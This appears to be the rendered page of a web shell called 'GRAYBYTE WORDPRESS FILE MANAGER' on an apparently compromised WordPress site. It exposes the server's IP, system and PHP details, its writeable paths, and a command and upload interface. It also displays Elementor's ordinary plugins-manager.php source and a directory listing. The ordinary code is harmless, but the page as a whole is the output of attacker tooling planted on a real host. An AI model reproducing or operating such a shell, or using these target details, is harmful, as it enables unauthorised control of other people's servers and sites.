GRAYBYTE WORDPRESS FILE MANAGER8320

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/trustyourlawyer.com/wp-content/plugins/elementor/core/utils/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/trustyourlawyer.com/wp-content/plugins/elementor/core/utils//plugins-manager.php
<?php

namespace Elementor\Core\Utils;

require_once ABSPATH . 'wp-admin/includes/plugin-install.php';
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
require_once ABSPATH . 'wp-admin/includes/class-wp-ajax-upgrader-skin.php';
require_once ABSPATH . 'wp-admin/includes/class-plugin-upgrader.php';

use Elementor\Plugin;
use Plugin_Upgrader;
use WP_Ajax_Upgrader_Skin;

class Plugins_Manager {

	/**
	 * @var Plugin_Upgrader
	 */
	private $upgrader;

	public function __construct( $upgrader = null ) {

		// For tests
		if ( $upgrader ) {
			$this->upgrader = $upgrader;
		} else {
			$skin = new WP_Ajax_Upgrader_Skin();
			$this->upgrader = new Plugin_Upgrader( $skin );
		}
	}

	/**
	 * Install plugin or an array of plugins.
	 *
	 * @since 3.6.2
	 *
	 * @param string|array $plugins
	 * @return array [ 'succeeded' => [] , 'failed' => [] ]
	 */
	public function install( $plugins ) {
		$succeeded = [];
		$failed = [];
		$already_installed_plugins = Plugin::$instance->wp->get_plugins();

		if ( ! is_array( $plugins ) ) {
			$plugins = [ $plugins ];
		}

		foreach ( $plugins as $plugin ) {
			if ( in_array( $plugin, $already_installed_plugins->keys()->all(), true ) ) {
				$succeeded[] = $plugin;
				continue;
			}

			$slug = $this->clean_slug( $plugin );

			$api = Plugin::$instance->wp->plugins_api('plugin_information',
				[
					'slug' => $slug,
					'fields' => [
						'short_description' => false,
						'sections' => false,
						'requires' => false,
						'rating' => false,
						'ratings' => false,
						'downloaded' => false,
						'last_updated' => false,
						'added' => false,
						'tags' => false,
						'compatibility' => false,
						'homepage' => false,
						'donate_link' => false,
					],
				]
			);

			if ( ! isset( $api->download_link ) ) {
				$failed[] = $plugin;
				continue;
			}

			$installation = $this->upgrader->install( $api->download_link );

			if ( $installation ) {
				$succeeded[] = $plugin;
			} else {
				$failed[] = $plugin;
			}
		}

		return [
			'succeeded' => $succeeded,
			'failed' => $failed,
		];
	}

	/**
	 * Activate plugin or array off plugins.
	 *
	 * @since 3.6.2
	 *
	 * @param array|string $plugins
	 * @return array [ 'succeeded' => [] , 'failed' => [] ]
	 */
	public function activate( $plugins ) {
		$succeeded = [];
		$failed = [];

		if ( ! is_array( $plugins ) ) {
			$plugins = [ $plugins ];
		}

		foreach ( $plugins as $plugin ) {
			if ( Plugin::$instance->wp->is_plugin_active( $plugin ) ) {
				$succeeded[] = $plugin;
				continue;
			}

			Plugin::$instance->wp->activate_plugin( $plugin );

			if ( Plugin::$instance->wp->is_plugin_active( $plugin ) ) {
				$succeeded[] = $plugin;
			} else {
				$failed[] = $plugin;
			}
		}

		return [
			'succeeded' => $succeeded,
			'failed' => $failed,
		];
	}

	private function clean_slug( $initial_slug ) {
		return explode( '/', $initial_slug )[0];
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:32:27
giriqfky / giriqfky
0755
import-export
--
July 10 2025 04:32:27
giriqfky / giriqfky
0755
promotions
--
July 10 2025 04:32:27
giriqfky / giriqfky
0755
svg
--
July 10 2025 04:32:27
giriqfky / giriqfky
0755
.htaccess
0.41 KB
July 10 2025 04:32:27
giriqfky / giriqfky
0644
assets-config-provider.php
1.486 KB
August 23 2023 17:47:32
giriqfky / giriqfky
0644
assets-translation-loader.php
2.5 KB
March 17 2025 17:28:54
giriqfky / giriqfky
0644
collection.php
9.879 KB
April 28 2025 11:15:16
giriqfky / giriqfky
0644
exceptions.php
0.692 KB
March 17 2025 17:28:54
giriqfky / giriqfky
0644
force-locale.php
3.555 KB
April 23 2023 15:22:46
giriqfky / giriqfky
0644
hints.php
10.26 KB
March 17 2025 17:28:54
giriqfky / giriqfky
0644
http.php
0.958 KB
April 23 2023 15:22:46
giriqfky / giriqfky
0644
isolation-manager.php
0.405 KB
December 19 2024 15:59:46
giriqfky / giriqfky
0644
plugins-manager.php
2.84 KB
April 28 2025 11:15:16
giriqfky / giriqfky
0644
static-collection.php
1.085 KB
April 23 2023 15:22:46
giriqfky / giriqfky
0644
str.php
0.978 KB
March 17 2025 17:28:54
giriqfky / giriqfky
0644
version.php
3.661 KB
March 17 2025 17:28:54
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF